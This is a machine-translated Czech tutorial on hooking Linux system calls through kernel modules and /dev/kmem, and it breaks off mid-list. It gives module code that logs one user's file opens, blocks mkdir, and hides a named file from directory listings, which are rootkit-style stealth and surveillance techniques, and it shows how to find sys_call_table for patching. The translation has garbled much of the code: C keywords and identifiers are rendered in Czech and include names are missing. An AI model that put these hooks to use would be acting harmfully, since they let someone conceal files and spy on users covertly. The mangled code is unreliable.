Počítače Okna Internet

Man syscalls (2): Systémová volání Linuxu. Linux - systémová volání. Systémová volání v Linuxových přerušeních v architektuře x86


Systémová volání

Dosud všechny programy, které jsme vytvořili, musely používat dobře definované mechanismy jádra k registraci souborů /proc a ovladačů zařízení. To je skvělé, pokud chcete udělat něco, co již poskytli programátoři jádra, například napsat ovladač zařízení. Ale co když chcete udělat něco fantastického, změnit nějakým způsobem chování systému?

To je přesně místo, kde se programování jádra stává nebezpečným. Při psaní níže uvedeného příkladu jsem zničil otevřené systémové volání. To znamenalo, že nemohu otevřít žádné soubory, nemohu spustit žádné programy a nemohu vypnout systém příkazem k vypnutí. Abych to zastavil, musím vypnout proud. Naštěstí nebyly zničeny žádné soubory. Abyste zajistili, že neztratíte ani žádné soubory, proveďte před zadáním příkazů insmod a rmmod synchronizaci.

Zapomeňte na soubory /proc a soubory zařízení. Jsou to jen malé detaily. Skutečný komunikační proces jádra používaný všemi procesy je systémová volání. Tento mechanismus se použije, když proces požaduje službu od jádra (jako je otevření souboru, spuštění nového procesu nebo požadavek na více paměti). Pokud chcete změnit chování jádra zajímavým způsobem, toto je to správné místo. Mimochodem, pokud chcete vidět, jaká systémová volání program použil, spusťte: strace .

Obecně platí, že proces nemá přístup k jádru. Nemůže přistupovat k paměti jádra a nemůže volat funkce jádra. Hardware CPU vynucuje tento stav věcí (z nějakého důvodu se tomu říká „chráněný režim“). Systémová volání jsou výjimkou z tohoto obecného pravidla. Proces naplní registry příslušnými hodnotami a poté zavolá speciální instrukci, která přeskočí na předdefinované umístění v jádře (samozřejmě je čteno uživatelskými procesy, ale není jimi přepisováno.) U procesorů Intel se to děje přes přerušení 0x80. Hardware ví, že jakmile skočíte do tohoto umístění, již neběžíte Místo toho běžíte jako jádro operačního systému, a proto můžete dělat, co chcete.

Místo v jádře, kam může proces přeskočit, se nazývá system_call . Procedura, která se tam nachází, kontroluje číslo systémového volání, které jádru říká přesně, co proces chce. Poté vyhledá tabulku systémových volání (sys_call_table) a najde adresu funkce jádra, kterou má volat. Poté je zavolána požadovaná funkce a poté, co vrátí hodnotu, je v systému provedeno několik kontrol. Výsledek je poté vrácen zpět procesu (nebo jinému procesu, pokud byl proces ukončen). Pokud chcete vidět kód, který to všechno dělá, je to ve zdrojovém souboru arch/< architecture >/kernel/entry.S , za řádkem ENTRY(system_call).

Takže, pokud chceme změnit, jak funguje některé systémové volání, první věc, kterou musíme udělat, je napsat vlastní funkci, která udělá příslušnou věc (obvykle přidání nějakého našeho vlastního kódu a pak zavolání původní funkce), pak změnit ukazatel na sys_call_table, abychom ukázali na naši funkci. Protože můžeme být později smazáni a nechceme ponechat systém v nestabilním stavu, je důležité, aby cleanup_module obnovil tabulku do původního stavu.

Zde poskytnutý zdrojový kód je příkladem takového modulu. Chceme "špehovat" nějakého uživatele a poslat zprávu přes printk, kdykoli tento uživatel otevře soubor. Systémové volání pro otevření souboru nahradíme vlastní funkcí nazvanou our_sys_open . Tato funkce zkontroluje uid (id uživatele) aktuálního procesu, a pokud se rovná uid, které sledujeme, zavolá printk, aby zobrazil název souboru, který se má otevřít. Poté zavolá původní open funkce se stejnými parametry, ve skutečnosti otevře soubor.

Funkce init_module změní příslušné umístění v sys_call_table a uloží původní ukazatel do proměnné. Funkce cleanup_module používá tuto proměnnou k obnovení všeho zpět do normálu. Tento přístup je nebezpečný kvůli možnosti, že dva moduly změní stejné systémové volání. Představte si, že máme dva moduly, A a B. Otevřené systémové volání modulu A se bude nazývat A_open a stejné volání modulu B se bude nazývat B_open. Nyní, když bylo syscall vložené jádrem nahrazeno A_open, které zavolá původní sys_open, když udělá to, co potřebuje. Potom B vloží do jádra a nahradí systémové volání B_open, které zavolá to, co si myslí, že je původní systémové volání, ale ve skutečnosti je A_open.

Nyní, pokud je B odstraněn jako první, bude vše v pořádku: toto pouze obnoví systémové volání na A_open, které volá původní. Pokud je však A a poté B odstraněno, systém se zhroutí. Odstraněním A obnovíte systémové volání na původní, sys_open, čímž B vypadne ze smyčky. Poté, když je B odstraněno, obnoví systémové volání na to, co považuje za původní. Ve skutečnosti bude volání směrováno na A_open, které již není v paměti. Na první pohled to vypadá, že bychom mohli tento konkrétní problém vyřešit kontrolou, zda se syscall rovná naší otevřené funkci, a pokud ano, neměňte hodnotu tohoto volání (aby B po odstranění nezměnilo syscall), ale to by stále znamenalo nejhorší problém. Když je A odebráno, vidí, že systémové volání bylo změněno na B_open, takže již neukazuje na A_open, takže neobnoví ukazatel na sys_open před odebráním z paměti. Bohužel se B_open bude stále snažit volat A_open, který již není v paměti, takže i bez odebrání B bude systém stále padat.

Vidím dva způsoby, jak tomuto problému předejít. Za prvé: obnovte volání na původní hodnotu sys_open. Bohužel sys_open není součástí tabulky jádra systému v /proc/ksyms , takže k němu nemáme přístup. Dalším řešením je použití čítače odkazů, které zabrání vyložení modulu. To je dobré pro běžné moduly, ale špatné pro „vzdělávací“ moduly.

/* syscall.c * * Ukázka "kradení" systémového volání */ /* Copyright (C) 1998-99 od Ori Pomerantz */ /* Potřebné hlavičkové soubory */ /* Standardní v modulech jádra */ #include /* Pracujeme na jádře */ #include /* Konkrétně modul */ /* Vypořádat se s CONFIG_MOVERSIONS */ #if CONFIG_MODVERSIONS==1 #define MODVERSIONS #include #endif #zahrnout /* Seznam systémových volání */ /* Pro aktuální (procesní) strukturu potřebujeme * toto, abychom věděli, kdo je aktuální uživatel. */ #zahrnout /* V 2.2.3 /usr/include/linux/version.h obsahuje * makro pro toto, ale 2.0.35 ne - takže ho sem v případě potřeby přidám *. */ #ifndef KERNEL_VERSION #define KERNEL_VERSION(a ,b,c) ((a)*65536+(b)*256+(c)) #endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,0) #include #endif /* Tabulka systémových volání (tabulka funkcí). My * to prostě definujeme jako externí a jádro to * doplní za nás, když jsme insmod"ed */ extern void *sys_call_table; /* UID, které chceme špehovat - bude vyplněno z * příkazového řádku */ int uid; #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,0) MODULE_PARM(uid, "i"); #endif /* Ukazatel na původní systémové volání. Důvod, proč * toto ponecháváme místo volání původní funkce * (sys_open), protože někdo jiný mohl * nahradit systémové volání před námi, funkci v tomto modulu - a ta může být * odstraněna dříve než my. * Je to statická proměnná, takže se neexportuje. */ asmlinkage int (*original_call)(const char *, int, int); /* Z nějakého důvodu mi v 2.2.3 current->uid dalo * nulu, ne skutečné ID uživatele. Snažil jsem se najít, co se pokazilo *, ale nemohl jsem to udělat v krátké době a * jsem líný - takže použiji systémové volání k získání * uid, způsob, jakým by proces probíhal. * * Z nějakého důvodu po rekompilaci jádra tento * problém zmizel. */ asmlinkage int (*getuid_call)(); /* Funkce, kterou "nahradíme sys_open (funkci * volanou při volání otevřeného systémového volání). Abychom * našli přesný prototyp s počtem a typem * argumentů, najdeme nejprve původní funkci * (to" s na fs/open.c). * * Teoreticky to znamená, že jsme svázáni s * aktuální verzí jádra. V praxi se * systémová volání téměř nikdy nemění (zničila by zmatek * a vyžadovala by rekompilaci programů, protože * systémová volání jsou rozhraní mezi jádrem a * procesy).*/ asmlinkage int our_sys_open(const char *název souboru, příznaky int, režim int) ( int i = 0; char ch; /* Zkontrolujte, zda se jedná o uživatele, kterého špehujeme */ if (uid == getuid_call()) ( /* getuid_call je systémové volání getuid, * které udává uid uživatele, který * spustil proces, který zavolal systém * volání jsme dostali */ /* Nahlásit soubor, pokud je to relevantní */ printk("Soubor otevřel %d: ", uid); do ( #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,2,0) get_user(ch, filename+i); #else ch = get_user(filename+ i ); #endif i++; printk("%c", ch); ) while (ch != 0); printk("\n"); ) /* Zavoláme původní sys_open - jinak ztratíme * možnost otevřít soubory */ return original_call(název souboru, příznaky, režim); ) /* Inicializujte modul - nahraďte systémové volání */ int init_module() ( /* Varování - na to už je pozdě, ale možná příště. .. */ printk("Jsem nebezpečný. Doufám, že jsi udělal"); printk("synchronizovat, než jsi mě insmod"ed.\n"); printk("Můj protějšek, cleanup_module(), je sudý"); printk("nebezpečnější. Pokud\n"); printk("vážíš si systému souborů, bude"); printk("be \"synchronizovat; rmmod\" \n"); printk("když odeberete tento modul.\n"); /* Zachovat ukazatel na původní funkci v * original_call a poté nahradit systémové volání * v tabulce systémových volání za our_sys_open */ original_call = sys_call_table[__NR_open]; sys_call_table[__NR_open] = our_sys_open; /* Chcete-li získat adresu funkce pro systémové * volání foo, přejděte na sys_call_table[__NR_foo]. */ printk("Špehování UID:%d\n", uid); /* Získá systémové volání pro getuid */ getuid_call = sys_call_table[__NR_getuid]; návrat 0; ) /* Vyčištění - zrušte registraci příslušného souboru z /proc */ void cleanup_module() ( /* Vraťte systémové volání zpět do normálního stavu */ if (sys_call_table[__NR_open] != our_sys_open) ( printk("Někdo jiný si také hrál s "); printk("otevřené systémové volání\n"); printk("Systém může zůstat v "); printk("nestabilní stav.\n"); ) sys_call_table[__NR_open] = původní_volání; )

Nejčastěji je kód pro systémové volání očíslován __NR_xxx, definovaný v /usr/include/asm/unistd.h, lze nalézt ve zdrojovém kódu linuxového jádra ve funkci sys_xxx(). (Tabulku hovorů pro i386 naleznete v /usr/src/linux/arch/i386/kernel/entry.S.) Z tohoto pravidla existuje mnoho výjimek, zejména kvůli skutečnosti, že většina starých systémových volání je nahrazena novými a bez jakéhokoli systému. Na platformách s proprietární emulací OS, jako je parisc, sparc, sparc64 a alpha, existuje mnoho dalších systémových volání; mips64 má také úplnou sadu 32bitových systémových volání.

Postupem času docházelo podle potřeby ke změnám rozhraní některých systémových volání. Jedním z důvodů těchto změn byla potřeba zvětšit velikost struktur nebo skalárních hodnot předávaných do systémového volání. Díky těmto změnám se na některých architekturách (jmenovitě na staré 32bitové i386) objevily různé skupiny podobných systémových volání (např. zkrátit(2) a zkrátit64(2)), které provádějí stejné úkoly, ale liší se velikostí argumentů. (Jak bylo uvedeno, aplikace nejsou ovlivněny: obaly glibc vykonávají určitou práci, aby spustily správné systémové volání, a to zajišťuje kompatibilitu ABI pro starší binární soubory.) Příklady systémových volání, která mají více verzí:

*V současné době existují tři různé verze stat(2): sys_stat() (místo __NR_oldstat), sys_newstat() (místo __NR_stat) A sys_stat64() (místo __NR_stat64), poslední jmenovaný se v současnosti používá. Podobná situace s lstat(2) a fstat(2). * Podobně definováno __NR_oldolduname, __NR_olduname A __NR_uname pro hovory sys_olduname(), sys_uname() A sys_newuname(). * Linux 2.0 má novou verzi vm86(2) se nazývají nové a staré verze jaderných postupů sys_vm86old() A sys_vm86(). * Linux 2.4 má novou verzi getrlimit(2) nové a staré verze jaderných postupů se nazývají sys_old_getrlimit() (místo __NR_getrlimit) A sys_getrlimit() (místo __NR_ugetrlimit). * V Linuxu 2.4 byla velikost pole ID uživatele a skupiny zvýšena z 16 na 32 bitů. Na podporu této změny bylo přidáno několik systémových volání (např. chown32(2), getuid32(2), getgroups32(2), setresuid32(2)), což zavrhuje dřívější volání se stejnými názvy, ale bez přípony „32“. * Linux 2.4 přidal podporu pro přístup k velkým souborům (jejichž velikosti a posuny se nevejdou do 32 bitů) v aplikacích na 32bitových architekturách. To vyžadovalo změny v systémových voláních, která pracují s velikostmi souborů a posuny. Byla přidána následující systémová volání: fcntl64(2), getdents64(2), stat64(2), statfs64(2), zkrátit64(2) a jejich protějšky, které zpracovávají deskriptory souborů nebo symbolické odkazy. Tato systémová volání ruší stará systémová volání, která se s výjimkou volání „stat“ jmenují stejně, ale nemají příponu „64“.

Na novějších platformách, které mají pouze 64bitový přístup k souborům a 32bitové UID/GID (např. alpha, ia64, s390x, x86-64), existuje pouze jedna verze systémových volání pro UID/GID a přístup k souborům. Na platformách (obvykle 32bitové platformy), které mají volání *64 a *32, jsou ostatní verze zastaralé.

* Výzvy rt_sig* přidáno do jádra 2.2 pro podporu dalších signálů v reálném čase (viz signál(7)). Tato systémová volání zavrhují stará systémová volání se stejným názvem, ale bez předpony "rt_". * V systémových voláních vybrat(2) a mmap(2) je použito pět nebo více argumentů, což způsobilo problémy při určování toho, jak byly argumenty předávány na i386. V důsledku toho, zatímco na jiných architekturách volá sys_select() A sys_mmap() zápas __NR_vyberte A __NR_mmap, na i386 odpovídají starý_výběr() A old_mmap() (postupy používající ukazatel na blok argumentů). V současné době již není problém s předáváním více než pěti argumentů a existuje __NR__newselect, což přesně odpovídá sys_select() a stejná situace s __NR_mmap2.

Tento materiál je modifikací stejnojmenného článku Vladimíra Meshkova, publikovaného v časopise „Správce systému“

Tento materiál je kopií článků Vladimíra Meshkova z časopisu „Správce systému“. Tyto články naleznete na níže uvedených odkazech. Také některé příklady zdrojových textů programu byly změněny - vylepšeny, finalizovány. (Příklad 4.2 byl značně upraven, protože muselo být zachyceno mírně odlišné systémové volání) URL: http://www.samag.ru/img/uploaded/p.pdf http://www.samag.ru/img/ nahráno/a3. pdf

Máte otázky? Pak jste zde: [e-mail chráněný]

  • 2. Zaváděcí modul jádra
  • 4. Příklady odposlechu systémových volání na bázi LKM
    • 4.1 Zakázat vytváření adresáře

1. Celkový pohled na architekturu Linuxu

Nejobecnější pohled nám umožňuje vidět dvouúrovňový model systému. jádro<=>progs Uprostřed (vlevo) je jádro systému. Jádro interaguje přímo s hardwarem počítače a izoluje aplikační programy od architektonických prvků. Jádro má sadu služeb poskytovaných aplikačním programům. Služby jádra zahrnují I/O operace (otevírání, čtení, zápis a správa souborů), vytváření a správu procesů, jejich synchronizaci a meziprocesovou komunikaci. Všechny aplikace vyžadují služby jádra prostřednictvím systémových volání.

Druhou úroveň tvoří aplikace nebo úlohy, a to jak systémové, které určují funkčnost systému, tak aplikační, které poskytují uživatelské rozhraní Linuxu. Navzdory vnější heterogenitě aplikací jsou však schémata pro interakci s jádrem stejná.

K interakci s jádrem dochází prostřednictvím standardního rozhraní systémového volání. Rozhraní systémového volání je sada služeb jádra a definuje formát požadavků na služby. Proces požaduje službu provedením systémového volání specifické procedury jádra, které vypadá jako běžné volání funkce knihovny. Jádro provede požadavek jménem procesu a vrátí procesu požadovaná data.

Ve výše uvedeném příkladu program otevře soubor, načte z něj data a soubor zavře. V tomto případě operaci otevření (otevření), čtení (čtení) a zavření (zavření) souboru provádí jádro na žádost úlohy a otevření (2), čtení (2) a zavření (2 ) funkce jsou systémová volání.

/* Zdroj 1.0 */ #include main () ( int fd; char buf; /* Otevřít soubor - získat odkaz (deskriptor souboru) fd */ fd = open("file1",O_RDONLY); /* Načtení 80 znaků do vyrovnávací paměti buf */ read( fd, buf , sizeof(buf)); /* Zavřít soubor */ close(fd); ) /* EOF */ Kompletní seznam systémových volání OS Linux lze nalézt v /usr/include/asm/unistd.h . Podívejme se nyní na mechanismus provádění systémových volání v tomto příkladu. Kompilátor, který splnil funkci open() pro otevření souboru, jej převede na kód assembleru, načte číslo systémového volání odpovídající této funkci a její parametry do registrů procesoru a poté zavolá přerušení 0x80. Do registrů procesoru se načtou následující hodnoty:

  • do registru EAX - číslo systémového volání. Takže v našem případě je číslo systémového volání 5 (viz __NR_open).
  • do registru EBX - první parametr funkce (u open() je to ukazatel na řetězec obsahující jméno otevíraného souboru.
  • do registru ECX - druhý parametr (přístupová práva k souboru)
Třetí parametr se načte do registru EDX, v tomto případě jej nemáme. K provedení systémového volání v OS Linux se používá funkce system_call, která je definována (v tomto případě v závislosti na architektuře i386) v souboru /usr/src/linux/arch/i386/kernel/entry.S. Tato funkce je vstupním bodem pro všechna systémová volání. Jádro reaguje na přerušení 0x80 voláním funkce system_call, což je v podstatě obsluha přerušení 0x80.

Abychom se ujistili, že jsme na správné cestě, podívejme se na kód funkce open() v systémové knihovně libc:

# gdb -q /lib/libc.so.6 (gdb) disas open Výpis kódu assembleru pro otevřenou funkci: 0x000c8080 : volejte 0x1082be< __i686.get_pc_thunk.cx >0x000c8085 : přidat $0x6423b,%ecx 0x000c808b : cmpl $0x0.0x1a84(%ecx) 0x000c8092 : jne 0xc80b1 0x000c8094 : push %ebx 0x000c8095 : mov 0x10(%esp,1),%edx 0x000c8099 : mov 0xc(%esp,1),%ecx 0x000c809d : mov 0x8(%esp,1),%ebx 0x000c80a1 : mov $0x5,%eax 0x000c80a6 : int $0x80 ... Jak můžete vidět na posledních řádcích, parametry se předávají do registrů EDX, ECX, EBX a poslední registr EAX je vyplněn číslem systémového volání, které, jak již víme, je 5 .

Nyní se vraťme k mechanismu systémového volání. Jádro tedy zavolá obsluhu přerušení 0x80 – funkci system_call. System_call vloží kopie registrů obsahujících parametry volání do zásobníku pomocí makra SAVE_ALL a zavolá požadovanou systémovou funkci pomocí příkazu call. Tabulka ukazatelů na funkce jádra, které implementují systémová volání, se nachází v poli sys_call_table (viz soubor arch/i386/kernel/entry.S). Číslo systémového volání, které se nachází v registru EAX, je indexem do tohoto pole. Pokud tedy EAX obsahuje hodnotu 5, bude zavolána funkce jádra sys_open(). Proč je potřeba makro SAVE_ALL? Vysvětlení je zde velmi jednoduché. Protože téměř všechny funkce jádra systému jsou napsány v C, hledají své parametry v zásobníku. A parametry se přesunou do zásobníku pomocí SAVE_ALL! Návratová hodnota systémového volání je uložena v registru EAX.

Nyní pojďme zjistit, jak zachytit systémové volání. K tomu nám pomůže mechanismus načítatelných modulů jádra.

2. Zaváděcí modul jádra

Loadable Kernel Module (LKM - Loadable Kernel Module) je kód, který běží v prostoru jádra. Hlavním rysem LKM je schopnost dynamického načítání a uvolňování bez nutnosti restartovat celý systém nebo překompilovat jádro.

Každý LKM se skládá ze dvou hlavních funkcí (minimálně):

  • funkce inicializace modulu. Volá se, když je LKM načten do paměti: int init_module(void) ( ... )
  • funkce uvolnění modulu: void cleanup_module(void) ( ... )
Zde je příklad nejjednoduššího modulu: /* Zdroj 2.0 */ #include int init_module(void) ( printk("Hello World\n"); return 0; ) void cleanup_module(void) ( printk("Sbohem\n"); ) /* EOF */ Zkompilujte a načtěte modul. Načtení modulu do paměti se provádí příkazem insmod a zobrazení načtených modulů příkazem lsmod: # gcc -c -DMODULE -I /usr/src/linux/include/src-2.0.c # insmod src-2.0.o Varování: načtení src-2.0 .o poškodí jádro: žádná licence Načten modul src-2.0 s varováními # dmesg | tail -n 1 Hello World # lsmod | grep src src-2.0 336 0 (nepoužito) # rmmod src-2.0 # dmesg | ocas -n 1 Čau

3. Algoritmus pro zachycení systémového volání založený na LKM

Pro implementaci modulu, který zachytí systémové volání, je nutné definovat zachycovací algoritmus. Algoritmus je následující:
  • uložit ukazatel na původní (původní) volání, aby bylo možné jej obnovit
  • vytvořte funkci, která implementuje nové systémové volání
  • nahradit volání v tabulce systémových volání sys_call_table, tj. nastavit odpovídající ukazatel na nové systémové volání
  • na konci práce (když je modul uvolněn) obnovte původní systémové volání pomocí dříve uloženého ukazatele
Trasování umožňuje zjistit, která systémová volání se účastní provozu uživatelské aplikace. Pomocí trasování můžete určit, které systémové volání by mělo být zachyceno, aby bylo možné převzít kontrolu nad aplikací. # ltrace -S ./src-1.0 ... open("file1", 0, 01 SYS_open("soubor1", 0, 01) = 3<... open resumed>) = 3 přečteno(3, SYS_read(3; "123\n", 80) = 4<... read resumed>"123\n", 80) = 4 zavřít(3 SYS_close(3) = 0<... close resumed>) = 0 ... Nyní máme dostatek informací, abychom mohli začít studovat příklady implementací modulů, které zachycují systémová volání.

4. Příklady odposlechu systémových volání na bázi LKM

4.1 Zakázat vytváření adresáře

Když je vytvořen adresář, je volána funkce jádra sys_mkdir. Parametr je řetězec obsahující název adresáře, který má být vytvořen. Zvažte kód, který zachycuje odpovídající systémové volání. /* Zdroj 4.1 */ #include #zahrnout #zahrnout /* Export tabulky systémových volání */ extern void *sys_call_table; /* Definuje ukazatel pro uložení původního volání */ int (*orig_mkdir)(const char *cesta); /* Vytvořte naše vlastní systémové volání. Naše volání nedělá nic, jen vrací null */ int own_mkdir(const char *cesta) ( return 0; ) /* Během inicializace modulu uložte ukazatel na původní volání a nahraďte systémové volání */ int init_module(void) ( orig_mkdir =sys_call_table; sys_call_table=own_mkdir; printk("sys_mkdir nahrazen\n"); return(0); ) /* Při uvolnění obnovte původní volání */ void cleanup_module(void) ( sys_call_table=orig_mkdir; printk("sys_mkdir přesunuto zpět \n "); ) /* EOF */ Chcete-li získat objektový modul, spusťte následující příkaz a spusťte několik experimentů v systému: # gcc -c -DMODULE -I/usr/src/linux/include/src-3.1. c # dmesg | tail -n 1 sys_mkdir nahrazen # mkdir test # ls -ald test ls: test: Žádný takový soubor nebo adresář # rmmod src-3.1 # dmesg | tail -n 1 sys_mkdir přesunuto zpět # mkdir test # ls -ald test drwxr-xr-x 2 root root 4096 23.12.2003 03:46 test Jak vidíte, příkaz "mkdir" nefunguje, nebo spíše nic se děje. Vyjmutí modulu stačí k obnovení funkčnosti systému. Co bylo provedeno výše.

4.2 Skrytí položky souboru v adresáři

Pojďme určit, které systémové volání je zodpovědné za čtení obsahu adresáře. Za tímto účelem napíšeme další testovací fragment, který přečte aktuální adresář: /* Zdroj 4.2.1 */ #include #zahrnout int main() ( DIR *d; struct dirent *dp; d = opendir("."); dp = readdir(d); return 0; ) /* EOF */ Získejte spustitelný soubor a sledujte: # gcc -o src -3.2.1 src-3.2.1.c # ltrace -S ./src-3.2.1 ... opendir("." SYS_OPEN (".", 100352, 010005141300) = 3 SYS_FSTAT64 (3, 0xBFFFFFFFFFFFFFC, 0x4014C2C0, 3, 0xbfffff874) = 0x_FCNTL64 (3, 2, 1, 1, 0x4014C2C0) = 0 SYS_BRK (NULL) = 0x080495F4 SYS_BRK (0x0806A5F4) = 0x080495F4 sys_brk (0x0806A5F4) = 0x0806a5f4 SYS_brk(NULL) = 0x0806a5f4 SYS_brk(0x0806b000) = 0x0806b000<... opendir resumed>) = 0x08049648 readdir (0x08049648 SYS_getdents64(3, 0x08049678, 4096, 0x40014400, 0x4014c2c0) = 528<... readdir resumed>) = 0x08049678 ... Věnujte pozornost poslednímu řádku. Obsah adresáře čte funkce getdents64 (getdents je možný v jiných jádrech). Výsledek se uloží jako seznam struktur typu struct dirent a funkce sama vrátí délku všech položek v adresáři. Zajímají nás dvě oblasti této struktury:
  • d_reclen - velikost záznamu
  • d_name - název souboru
Chcete-li skrýt záznam souboru o souboru (jinými slovy, učinit jej neviditelným), musíte zachytit systémové volání sys_getdents64, najít odpovídající záznam v seznamu přijatých struktur a odstranit jej. Zvažte kód, který tuto operaci provádí (autorem původního kódu je Michal Zalewski): /* Zdroj 4.2.2 */ #include #zahrnout #zahrnout #zahrnout #zahrnout #zahrnout #zahrnout #zahrnout extern void *sys_call_table; int (*orig_getdents)(u_int fd, struct dirent *dirp, počet u_int); /* Definujte naše systémové volání */ int own_getdents(u_int fd, struct dirent *dirp, u_int počet) ( unsigned int tmp, n; int t; struct dirent64 ( int d_ino1,d_ino2; int d_off1,d_off2; unsigned short d_reclen char d_type; char d_name; ) *dirp2, *dirp3; /* Název souboru, který chceme skrýt */ char hide = "file1"; /* Určete délku položek v adresáři */ tmp = (*orig_getdents )(fd,dirp ,count); if (tmp>0) ( /* Přidělte paměť pro strukturu kernel-space a zkopírujte do ní obsah adresáře */ dirp2 = (struct dirent64 *)kmalloc(tmp,GFP_KERNEL) ; copy_from_user(dirp2,dirp,tmp) ; /* Vyvolejte druhou strukturu a uložte hodnotu délky záznamů do adresáře */ dirp3 = dirp2; t = tmp; /* Začněte hledat náš soubor */ while (t >0) ( /* Přečtěte si délku první položky a určete zbývající délku položek v adresáři */ n = dirp3->d_reclen; t -= n; /* Zkontrolujte, zda název souboru z aktuální položky odpovídá hledáme */ if (strstr((char *)&(dirp3->d_name), (char *)&hide) != NULL) ( /* Pokud ano, pak přepište záznam a vypočítejte novou hodnotu pro délku záznamů v adresáři */ memcpy(dirp3, (char *)dirp3+dirp3->d_reclen, t) ; tmp -=n; ) /* Umístěte ukazatel na další položku a pokračujte v hledání */ dirp3 = (struct dirent64 *)((char *)dirp3+dirp3->d_reclen); ) /* Vrátí výsledek a uvolní paměť */ copy_to_user(dirp,dirp2,tmp); free(dirp2); ) /* Vrátí hodnotu délky záznamů v adresáři */ return tmp; ) /* Funkce inicializace a vyjmutí modulu mají standardní tvar */ int init_module(void) ( orig_getdents = sys_call_table; sys_call_table=own_getdents; return 0; ) void cleanup_module() ( sys_call_table=orig_getdents; ) Po této kompilaci kódu, všimněte si, jak "soubor1" zmizí, což jsme chtěli dokázat.

5. Metoda přímého přístupu do adresového prostoru jádra /dev/kmem

Podívejme se nejprve teoreticky, jak se provádí odposlech metodou přímého přístupu do adresního prostoru jádra, a poté přistoupíme k praktické implementaci.

Přímý přístup k adresnímu prostoru jádra poskytuje soubor zařízení /dev/kmem. Tento soubor zobrazuje veškerý dostupný virtuální adresní prostor, včetně odkládacího oddílu (swap-area). Pro práci se souborem kmem se používají standardní systémové funkce - open(), read(), write(). Otevřením /dev/kmem standardním způsobem se můžeme odkazovat na libovolnou adresu v systému tak, že ji v tomto souboru nastavíme jako offset. Tuto metodu vyvinul Silvio Cesare.

Systémové funkce jsou přístupné načtením parametrů funkce do registrů procesoru a následným voláním softwarového přerušení 0x80. Obslužná rutina tohoto přerušení, funkce system_call, vloží parametry volání do zásobníku, získá adresu volané systémové funkce z tabulky sys_call_table a přenese řízení na tuto adresu.

S plným přístupem do adresního prostoru jádra můžeme získat celý obsah tabulky systémových volání, tzn. adresy všech funkcí systému. Změnou adresy jakéhokoli systémového volání jej zachytíme. K tomu však potřebujete znát adresu tabulky nebo jinými slovy offset v souboru /dev/kmem, ve kterém se tato tabulka nachází.

Chcete-li určit adresu tabulky sys_call_table, musíte nejprve vypočítat adresu funkce system_call. Vzhledem k tomu, že tato funkce je obsluha přerušení, podívejme se, jak se s přerušeními zachází v chráněném režimu.

V reálném režimu při registraci přerušení procesor přistupuje k tabulce vektorů přerušení, která je vždy na samém začátku paměti a obsahuje dvouslovné adresy obsluhy přerušení. V chráněném režimu je analogem tabulky vektorů přerušení tabulka deskriptorů přerušení (IDT), umístěná v operačním systému chráněného režimu. Aby procesor mohl přistupovat k této tabulce, musí být jeho adresa načtena do registru tabulky deskriptorů přerušení (IDTR). Tabulka IDT obsahuje popisovače obsluhy přerušení, které obsahují zejména jejich adresy. Tyto deskriptory se nazývají brány (brány). Procesor po zaregistrování přerušení získá bránu z IDT podle jejího čísla, určí adresu handleru a předá mu řízení.

Pro výpočet adresy funkce system_call z IDT tabulky je potřeba extrahovat přerušovací bránu int $0x80 a z ní adresu odpovídajícího handleru, tzn. adresa funkce system_call. Ve funkci system_call je tabulka system_call_table přístupná příkazem call<адрес_таблицы>(,%eax,4). Poté, co jsme našli operační kód (podpis) tohoto příkazu v souboru /dev/kmem, najdeme také adresu tabulky systémových volání.

Chcete-li určit operační kód, použijte debugger a rozeberte funkci system_call:

# gdb -q /usr/src/linux/vmlinux (gdb) disas system_call Výpis kódu assembleru pro funkci system_call: 0xc0194cbc : push %eax 0xc0194cbd : cld 0xc0194cbe : stiskněte %es 0xc0194cbf : push %ds 0xc0194cc0 : stiskněte %eax 0xc0194cc1 : push %ebp 0xc0194cc2 : push %edi 0xc0194cc3 : push %esi 0xc0194cc4 : push %edx 0xc0194cc5 : push %ecx 0xc0194cc6 : push %ebx 0xc0194cc7 : mov $0x18,%edx 0xc0194ccc : mov %edx,%ds 0xc0194cce : mov %edx,%es 0xc0194cd0 : mov $0xffffe000,%ebx 0xc0194cd5 : a %esp,%ebx 0xc0194cd7 : testb $0x2.0x18(%ebx) 0xc0194cdb : jne 0xc0194d3c 0xc0194cdd : cmp $0x10e,%eax 0xc0194ce2 : jae 0xc0194d69 0xc0194ce8 : volání *0xc02cbb0c(,%eax,4) 0xc0194cef : mov %eax,0x18(%esp,1) 0xc0194cf3 : nop Konec výpisu assembleru. Řádek "call *0xc02cbb0c(,%eax,4)" je volání tabulky sys_call_table. Hodnota 0xc02cbb0c je adresa tabulky (s největší pravděpodobností se vaše čísla budou lišit). Získejte operační kód tohoto příkazu: (gdb) x/xw system_call+44 0xc0194ce8 : 0x0c8514ff Našli jsme operační kód příkazu sys_call_table. Je roven \xff\x14\x85. Následující 4 bajty jsou adresou tabulky. Můžete to ověřit zadáním příkazu: (gdb) x/xw system_call+44+3 0xc0194ceb : 0xc02cbb0c Nalezením sekvence \xff\x14\x85 v souboru /dev/kmem a přečtením 4 bajtů za ní tedy získáme adresu tabulky systémových volání sys_call_table. Když známe jeho adresu, můžeme získat obsah této tabulky (adresy všech systémových funkcí) a změnit adresu jakéhokoli systémového volání jeho zachycením.

Zvažte pseudokód, který provádí operaci zachycení:

readaddr(starý_syscall, scr + SYS_CALL*4, 4); writeaddr(new_syscall, scr + SYS_CALL*4, 4); Funkce readaddr přečte adresu systémového volání z tabulky systémových volání a uloží ji do proměnné old_syscall. Každá položka v tabulce sys_call_table zabírá 4 bajty. Požadovaná adresa se nachází na offsetu sct + SYS_CALL*4 v souboru /dev/kmem (zde sct je adresa tabulky sys_call_table, SYS_CALL je sériové číslo systémového volání). Funkce writeaddr přepíše adresu systémového volání SYS_CALL adresou funkce new_syscall a všechna volání systémového volání SYS_CALL budou obsluhována touto funkcí.

Zdá se, že vše je jednoduché a cíl je dosažen. Mějme však na paměti, že pracujeme v adresním prostoru uživatele. Pokud do tohoto adresního prostoru umístíme novou systémovou funkci, pak když tuto funkci zavoláme, dostaneme krásnou chybovou hlášku. Proto závěr - nové systémové volání musí být umístěno do adresního prostoru jádra. K tomu potřebujete: získat blok paměti v prostoru jádra, umístit do tohoto bloku nové systémové volání.

Paměť v prostoru jádra můžete alokovat pomocí funkce kmalloc. Ale nemůžete přímo volat funkci jádra z adresního prostoru uživatele, takže používáme následující algoritmus:

  • když známe adresu tabulky sys_call_table, získáme adresu nějakého systémového volání (například sys_mkdir)
